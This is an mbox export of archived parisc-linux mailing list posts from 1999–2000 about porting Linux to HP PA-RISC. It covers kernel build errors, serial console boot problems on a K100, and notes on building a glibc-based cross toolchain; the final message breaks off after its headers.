current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
> current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
current = c7fbc000, mm = c7f61040, mmap_sem = c7f6105c
foo 1073767600, 20020620


From - Thu Nov 08 21:12:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel build with CONFIG_IODC_CONSOLE fails
Date: Fri, 7 Apr 2000 01:56:20 -0700 (PDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20000407085620.3974.qmail@web504.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618878 31946 80.91.229.3 (22 Nov 2014 01:14:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Fri Apr  7 02:56:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA11284
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Apr 2000 02:56:22 -0600
Original-Received: (qmail 8220 invoked by uid 15267); 7 Apr 2000 08:56:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8212 invoked from network); 7 Apr 2000 08:56:21 -0000
Original-Received: from web504.mail.yahoo.com (128.11.68.71)
  by mailserv2.iuinc.com with SMTP; 7 Apr 2000 08:56:20 -0000
Original-Received: (qmail 3975 invoked by uid 60001); 7 Apr 2000 08:56:20 -0000
Original-Received: from [149.234.12.1] by web504.mail.yahoo.com; Fri, 07 Apr 2000 01:56:20 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7170

Hi all,

after the 2.3.99-pre1 merge I am no longer able to
build a kernel with the IODC console. Building
defconfig is OK (CVS Version 20000406).

When I define CONFIG_VT, CONFIG_VT_CONSOLE and
CONFIG_IODC_CONSOLE the kernel build ends up with a
"death: pckbd_setkeycode type 1" message. This remains
even when I add CONFIG_GSC_PS2.

Although I must admit that I don't understand the
logic behind drivers/char/Makefile, I can see that
neither gsc_ps2.c nor keyb_at.c gets compiled, so this
seems to be the cause of the missing symbol.

When I append gsc_ps2.o and keyb_at.o to the line
  obj-y    += tty_io.o n_tty.o tty_ioctl.o mem.o 
              raw.o pty.o misc.o random.o
compiling gsc_ps2.c ends with the message
gsc_ps2.c:161: `KEYBOARD_BH' undeclared 

Any ideas ?
Ulrich

__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


From - Thu Nov 08 21:12:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K100 problem
Date: Fri, 7 Apr 2000 05:19:57 -0700 (PDT)
Lines: 116
Approved: news@gmane.org
Message-ID: <20000407121957.21801.qmail@web502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618879 31949 80.91.229.3 (22 Nov 2014 01:14:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:39 +0000 (UTC)
To: Steven Pritchard <steve@silug.org>, parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Fri Apr  7 06:20:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA14160
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Apr 2000 06:20:00 -0600
Original-Received: (qmail 20959 invoked by uid 15267); 7 Apr 2000 12:19:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20933 invoked from network); 7 Apr 2000 12:19:58 -0000
Original-Received: from web502.mail.yahoo.com (128.11.68.69)
  by mailserv2.iuinc.com with SMTP; 7 Apr 2000 12:19:58 -0000
Original-Received: (qmail 21802 invoked by uid 60001); 7 Apr 2000 12:19:57 -0000
Original-Received: from [149.234.12.1] by web502.mail.yahoo.com; Fri, 07 Apr 2000 05:19:57 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7171

I am not quite sure, but I think you need to set the
Keyboard Path to the same value as Console Path when
you use a serial console (or PC).

Ulrich


--- Steven Pritchard <steve@silug.org> wrote:
> Jim Hull said:
> > WARN  A008  No bootable device found 
> 
> Apparently the terminal was dead.  I hooked it up to
> my PC and got
> output.  Now I have another problem...  The box
> outputs to the serial
> console, but it doesn't seem to want to take input
> on the serial
> console.  Any ideas what might cause that?
> 
> Here's the boot messages:
> 
> --
> 
> Firmware Version  1.8
> 
> Duplex Console IO Dependent Code (IODC) revision 4
> 
>
------------------------------------------------------------------------------
>    (c) Copyright 1990-1994, Hewlett-Packard Company,
> All rights reserved
>
------------------------------------------------------------------------------
> 
>   Processor   Speed            State          
> CoProcessor State  Cache Size
>   ---------  --------   --------------------- 
> -----------------  ----------
> 
>       0      100  MHz   Active                
> Functional          256 KB
> 
>   Central Bus Speed (in MHz)  :        100  
>   Available Memory (bytes)    :  167772160  
>   Good Memory Required (bytes):   16211968  
> 
> 
>    Primary boot path:    8/0.6   (dec)
>    Alternate boot path:  8/12/5.0   (dec)
>    Console path:         8/4/0.0   (dec)
>    Keyboard path:        8/12/7.0   (dec)
> 
> CPU 0
>   WARNING:  Memory configuration is not optimized
> for performance.  Refer
>             to the System Installation or Memory
> Installation manuals for 
>             memory configuration guidelines.
> 
> 
> Processor is starting autoboot process.
> 
> To discontinue, press any key within 10 seconds.
> 
> 10 seconds expired.
> Proceeding...
> 
> Trying Primary Boot Path
> ------------------------
> 
> Booting... 
> Boot IO Dependent Code (IODC) revision 7
> 
> 
> HARD Booted.
> 
> ISL Revision A.00.38  OCT 26, 1994 
> 
> ISL booting  hpux
> 
> Boot
> : disc(8/0.6.0;0)/stand/vmunix
> 4334092 + 380928 + 407872 start 0x17ce68
> 
> --
> 
> It does boot into HP-UX, so if I can figure out a
> way into it over the
> network, I can probably reload the box with IgniteUX
> and just use it
> as a HP-UX system, but obviously life would be
> easier if I could use
> the console...
> 
> Steve
> -- 
> steve@silug.org           | Linux Users of Central
> Illinois
> (618)398-7320             | Meetings the 4th Tuesday
> of every month
> Steven Pritchard          | http://www.luci.org/ for
> more info
> 
>
---------------------------------------------------------------------------
> To unsubscribe: send e-mail to
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 

__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


From - Thu Nov 08 21:12:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K100 problem
Date: Fri, 7 Apr 2000 09:40:20 -0500 (CDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200004071440.JAA29458@osiris.silug.org>
References: <20000407121957.21801.qmail@web502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618879 31956 80.91.229.3 (22 Nov 2014 01:14:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: steve@osiris.silug.org  Fri Apr  7 08:40:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA15416
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Apr 2000 08:40:26 -0600
Original-Received: (qmail 8293 invoked by uid 15267); 7 Apr 2000 14:40:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8281 invoked from network); 7 Apr 2000 14:40:24 -0000
Original-Received: from pm3-isdn0-162.apci.net (HELO osiris.silug.org) (206.29.113.162)
  by mailserv2.iuinc.com with SMTP; 7 Apr 2000 14:40:24 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id JAA29458;
	Fri, 7 Apr 2000 09:40:20 -0500
In-Reply-To: <20000407121957.21801.qmail@web502.mail.yahoo.com> from Ulrich Strelow
 at "Apr 7, 2000 05:19:57 am"
X-Mailer: ELM [version 2.4ME+ PL72 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7172

Ulrich Strelow said:
> I am not quite sure, but I think you need to set the
> Keyboard Path to the same value as Console Path when
> you use a serial console (or PC).

I wondered about that...

How can I reset the Keyboard Path without being able to interrupt the
boot sequence though?

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:12:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K100 problem
Date: Fri, 07 Apr 2000 09:34:54 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <200004071634.JAA06324@milano.cup.hp.com>
References: <200004071440.JAA29458@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618879 31960 80.91.229.3 (22 Nov 2014 01:14:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Steven Pritchard <steve@silug.org>
Original-X-From: grundler@cup.hp.com  Fri Apr  7 10:33:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA16715
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Apr 2000 10:33:37 -0600
Original-Received: (qmail 28500 invoked by uid 15267); 7 Apr 2000 16:33:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28493 invoked from network); 7 Apr 2000 16:33:36 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 7 Apr 2000 16:33:36 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id BBB494DE; Fri,  7 Apr 2000 09:33:35 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id JAA06324; Fri, 7 Apr 2000 09:34:55 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 07 Apr 2000 09:40:20 PDT."
             <200004071440.JAA29458@osiris.silug.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:7173

Steven Pritchard wrote:
> Ulrich Strelow said:
> > I am not quite sure, but I think you need to set the
> > Keyboard Path to the same value as Console Path when
> > you use a serial console (or PC).
> 
> I wondered about that...
> 
> How can I reset the Keyboard Path without being able to interrupt the
> boot sequence though?

Disconnect the primary/secondary boot devices?
If autosearch is on, might have to disconnect all bootable devices.
One should land at the PDC prompt once all paths/search have been tried.

grant

> 
> Steve
> -- 
> steve@silug.org           | Linux Users of Central Illinois
> (618)398-7320             | Meetings the 4th Tuesday of every month
> Steven Pritchard          | http://www.luci.org/ for more info
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gyula Matics <gyula_matics@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel build with CONFIG_IODC_CONSOLE fails
Date: Fri, 07 Apr 2000 19:34:42 +0200
Lines: 6
Approved: news@gmane.org
Message-ID: <38EE1C32.E6479E1A@hp.com>
References: <20000407085620.3974.qmail@web504.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618880 31962 80.91.229.3 (22 Nov 2014 01:14:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: ulrich_strelow@yahoo.com
Original-X-From: gyula_matics@hp.com  Fri Apr  7 11:34:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA17352
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Apr 2000 11:34:49 -0600
Original-Received: (qmail 13377 invoked by uid 15267); 7 Apr 2000 17:34:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13359 invoked from network); 7 Apr 2000 17:34:47 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 7 Apr 2000 17:34:47 -0000
Original-Received: from bimbo.hungary.hp.com (bimbo.hungary.hp.com [15.188.73.101])
	by atlrel2.hp.com (Postfix) with ESMTP
	id EDC55237; Fri,  7 Apr 2000 13:34:45 -0400 (EDT)
Original-Received: from hp.com (pcmatics_linux.hungary.hp.com [15.188.74.169]) by bimbo.hungary.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id TAA07171; Fri, 7 Apr 2000 19:34:43 +0200 (METDST)
Original-Sender: mgyula@bimbo.hungary.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en, hu
Xref: news.gmane.org gmane.linux.ports.parisc:7174

Hi Ulrich,

I just committed a small fix that should make it compile again.

Gyula


From - Thu Nov 08 21:12:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy@linuxcare.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hardware Database now has pictures.
Date: Sat, 8 Apr 2000 12:53:35 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10004081248450.11408-100000@grasshopper.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618880 31966 80.91.229.3 (22 Nov 2014 01:14:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dkennedy@linuxcare.com  Sat Apr  8 09:41:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA28508
	for <parisc-linux@puffin.external.hp.com>; Sat, 8 Apr 2000 09:41:56 -0600
Original-Received: (qmail 8132 invoked by uid 15267); 8 Apr 2000 15:41:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8125 invoked from network); 8 Apr 2000 15:41:51 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 8 Apr 2000 15:41:51 -0000
Original-Received: from grasshopper.thepuffingroup.com (IDENT:dkennedy@grasshopper.thepuffingroup.com [10.69.0.65])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id LAA29404
	for <parisc-linux@thepuffingroup.com>; Sat, 8 Apr 2000 11:41:50 -0400
X-Sender: dkennedy@grasshopper.thepuffingroup.com
Xref: news.gmane.org gmane.linux.ports.parisc:7175


The long overdue addition of adding pictures to the output of the
hardware database has been done.

Only a handful of entries have pictures currently and I urge you to
email me or pariscdatabase@thepuffingroup.com with URLs for pictures
to add.  

You can check out some pictures by looking at the D270, the A180, the
712/60 and more.  If you have an opinion of how it looks or how the
look can be improved please don't hesitate to drop me a line.

Thanks.

-- 
David Kennedy, Senior Linux Consultant, Linuxcare, Inc.
613.562.9594 tel, 613.562.9304 fax
dkennedy@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] PA RISC 1.1 instruction set documents.
Date: Wed, 17 Mar 1999 17:55:49 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990317175437.31802q-100000@devserv.devel.redhat.com>
References: <Pine.LNX.3.96.990317165842.31802n-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618880 31967 80.91.229.3 (22 Nov 2014 01:14:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:40 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Wed Mar 17 17:56:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA00469
	for <hppa-linux@sod.res.cmu.edu>; Wed, 17 Mar 1999 17:56:07 -0500
Original-Received: (qmail 16144 invoked by uid 15267); 17 Mar 1999 22:55:22 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 16137 invoked from network); 17 Mar 1999 22:55:22 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 17 Mar 1999 22:55:22 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id RAA07129
	for <hppa-linux@thepuffingroup.com>; Wed, 17 Mar 1999 17:55:49 -0500
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <Pine.LNX.3.96.990317165842.31802n-100000@devserv.devel.redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7176


On Wed, 17 Mar 1999, Alex deVries wrote:
> The pa-risc instruction set documents that used to be correctly linked
> on the project WWW pages have apparantly moved.
> The URL used to be:
> http://www.hp.com/nsa/pa1.1/html/acd-1.html

Okay, I've mirrored that document at
http://www.thepuffingroup.com/parisc/doc/HPPA-isa.pdf

until we can find it referenced on HP's site.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
HPPA/Linux Porting Team




From - Thu Nov 08 21:12:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] building a glibc-based tool chain
Date: Sun,  9 Apr 2000 00:06:02 -0600 (MDT)
Lines: 119
Approved: news@gmane.org
Message-ID: <20000409060602.269491E9D6@rover.gag.com>
References: <E12dGfF-00012e-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618881 31971 80.91.229.3 (22 Nov 2014 01:14:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bdale@gag.com  Sun Apr  9 00:06:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA01616
	for <parisc-linux@puffin.external.hp.com>; Sun, 9 Apr 2000 00:06:10 -0600
Original-Received: (qmail 26712 invoked by uid 15267); 9 Apr 2000 06:06:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26705 invoked from network); 9 Apr 2000 06:06:09 -0000
Original-Received: from rover.gag.com (postfix@192.133.104.32)
  by mailserv2.iuinc.com with SMTP; 9 Apr 2000 06:06:09 -0000
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 269491E9D6; Sun,  9 Apr 2000 00:06:02 -0600 (MDT)
X-Newsgroups: list.parisc-linux
In-Reply-To: <E12dGfF-00012e-00@endor.fc.hp.com>
User-Agent: tin/1.4.1-19991201 ("Polish") (UNIX) (Linux/2.2.15pre15 (i686))
Xref: news.gmane.org gmane.linux.ports.parisc:7177

In article <E12dGfF-00012e-00@endor.fc.hp.com> you wrote:

> Well it still doesn't work, but here are some UGLY HACKS I use to
> get a tool chain built using our glibc, which only works on x86 I think.

Well, I was tired of working on my taxes, so I sat down to see what I could 
figure out.  

Attached below is my "Notebook" entry so far for today.  The keys were 
getting limits.h from the kernel tree into the target tree before the gcc 
build, and adding a couple of new options "--with-headers" and "--with-libs" 
to the gcc build.

Using a trivial hello world program in bdale.c, with what I've done, I get:

bdale@chunks:~/puffin/user-space-test-code: hppa1.1-linux-gcc -o bdale bdale.c
/opt/palinux/bin/../lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/../../../../hppa1.
1-linux/bin/ld: cannot open crtbegin.o: No such file or directory
collect2: ld returned 1 exit status
bdale@chunks:~/puffin/user-space-test-code:

Looking at the gcc source tree, crtbegin.asm is in gcc/config/alpha... on my
Debian box, I see:

bdale@chunks:~/puffin/gcc: find /usr/lib -name crt\*
/usr/lib/gcc-lib/i386-linux/2.95.2/crtbegin.o
/usr/lib/gcc-lib/i386-linux/2.95.2/crtbeginS.o
/usr/lib/gcc-lib/i386-linux/2.95.2/crtend.o
/usr/lib/gcc-lib/i386-linux/2.95.2/crtendS.o
/usr/lib/crt1.o
/usr/lib/crti.o
/usr/lib/crtn.o
bdale@chunks:~/puffin/gcc: 

We have the crt[1in].o in /opt/palinux/lib, but not crtbegin*.  I'm off to
see if I can figure that out now.

Bdale



2000.04.08
- give glibc a shot, using Paul's notes as a starting point, and a different
  prefix (so I don't mess up what I already have)

        mkdir binutils-glibc-build
        cd binutils-glibc-build
                ../binutils/configure --target=hppa1.1-linux --disable-nls \
                        --prefix=/opt/palinux
                make -j4
                sudo make install
        export PATH=/opt/palinux/bin:$PATH

        mkdir glibc-build
        cd glibc-build
                ../glibc/configure --target=hppa1.1-linux --disable-nls \
                  --prefix=/opt/palinux --disable-shared --disable-sanity-checks
                # note - using -j on the following make breaks the build
                make
                ls > nss/makedb
                make
                for n in *
                do
                        touch $n/stubs
                done
                sudo make install


  Now in the top-level makefile in the real glibc source tree, remove
  the dependency like this diff shows (otherwise the manual/ subdir build
  will prevent success).

    diff -r1.1 Makefile
    142c142
    < $(inst_includedir)/gnu/stubs.h: subdir_install
    ---
    > $(inst_includedir)/gnu/stubs.h:  

                sudo make /opt/palinux/include/gnu/stubs.h

  Now remove the #ifdef __USE_UNIX98 and the matching #endif  /* Unix98 */
  from /your/install/directory/include/unistd.h around line 238

        mkdir gcc-glibc-build
        cd gcc-glibc-build
                ../gcc/configure --target=hppa1.1-linux --disable-nls \
                        --prefix=/opt/palinux
                make -j4
                sudo make install

        sudo mv /opt/palinux/lib/gcc*/*/*/include/* /opt/palinux/include
        sudo rmdir /opt/palinux/lib/gcc*/*/*/include/
        sudo ln -s /opt/palinux/include \
                /opt/palinux/lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/include

                        sort of works, but same problems Paul had...

- try again, after trolling around http://gcc.gnu.org/onlinedocs/

        sudo rm -r /opt/palinux
        cd binutils-glibc-build
                sudo make install
        cd glibc-build
                sudo make install
                        - fails on the texinfo thing at the end, ignoring
        sudo vi /opt/palinux/include/unistd.h           (as above)
        (cd linux-2.3/include ; tar cf - linux/limits.h) | \
                (cd /opt/palinux/include ; sudo tar xvf -)
        cd gcc-glibc-build
                sudo rm -r *
                sudo ../gcc/configure --target=hppa1.1-linux --disable-nls \
                        --prefix=/opt/palinux \
                        --with-headers=/opt/palinux/include \
                        --with-libs=/opt/palinux/lib
                sudo make -j4
                sudo make install




From - Thu Nov 08 21:12:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] building a glibc-based tool chain
Date: Sun,  9 Apr 2000 01:27:31 -0600 (MDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <20000409072731.14C0C1E9D6@rover.gag.com>
References: <20000409060602.269491E9D6@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618881 31973 80.91.229.3 (22 Nov 2014 01:14:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bdale@gag.com  Sun Apr  9 01:27:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA02332
	for <parisc-linux@puffin.external.hp.com>; Sun, 9 Apr 2000 01:27:35 -0600
Original-Received: (qmail 18104 invoked by uid 15267); 9 Apr 2000 07:27:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18079 invoked from network); 9 Apr 2000 07:27:32 -0000
Original-Received: from rover.gag.com (postfix@192.133.104.32)
  by mailserv2.iuinc.com with SMTP; 9 Apr 2000 07:27:32 -0000
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 14C0C1E9D6; Sun,  9 Apr 2000 01:27:31 -0600 (MDT)
X-Newsgroups: list.parisc-linux
In-Reply-To: <20000409060602.269491E9D6@rover.gag.com>
User-Agent: tin/1.4.1-19991201 ("Polish") (UNIX) (Linux/2.2.15pre15 (i686))
Xref: news.gmane.org gmane.linux.ports.parisc:7178

In article <20000409060602.269491E9D6@rover.gag.com> you wrote:

> We have the crt[1in].o in /opt/palinux/lib, but not crtbegin*.  I'm off to
> see if I can figure that out now.

So, crtbegin/crtend are related to constructors and destructors for C++.  I
see where they get defined as part of extra_parts in the gcc build for various
architectures, but I confess to not understanding how they are being included
in my builds... 

If I run the compiler with -nostdlib and explicitly specify things, ld seg
faults.  See below.

With my extra options to the gcc builds cleaning up some of the manual goo
Paul was doing, and putting limits.h in place making the gcc build finish
cleanly, I feel like I've made some progress.  However, since I don't have any
idea why ld is seg faulting and have heard this isn't the first time that's
been tripped over, and since I don't see offhand how to get gcc to leave
out crtbegin any other way right now, I think I'm stuck.

Hmmm.  The "cannot size stub section" might correlate with Paul's ugly hack
making stub files?  Is this just garbage in -> garbage out?  Hmmm.

Bdale


bdale@chunks:~/puffin/user-space-test-code: hppa1.1-linux-gcc -nostdlib -o bdale /opt/palinux/lib/crt1.o bdale.c -lc -lgcc
collect2: ld terminated with signal 11 [Segmentation fault]
/opt/palinux/bin/../lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/../../../../hppa1.1-linux/bin/ld: can not size stub section: Bad value
bdale@chunks:~/puffin/user-space-test-code: 


From - Thu Nov 08 21:12:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/100 crashed
Date: Sun, 09 Apr 2000 02:23:05 -0600
Lines: 125
Approved: news@gmane.org
Message-ID: <20000409082306.41C431E9D5@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618881 31975 80.91.229.3 (22 Nov 2014 01:14:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
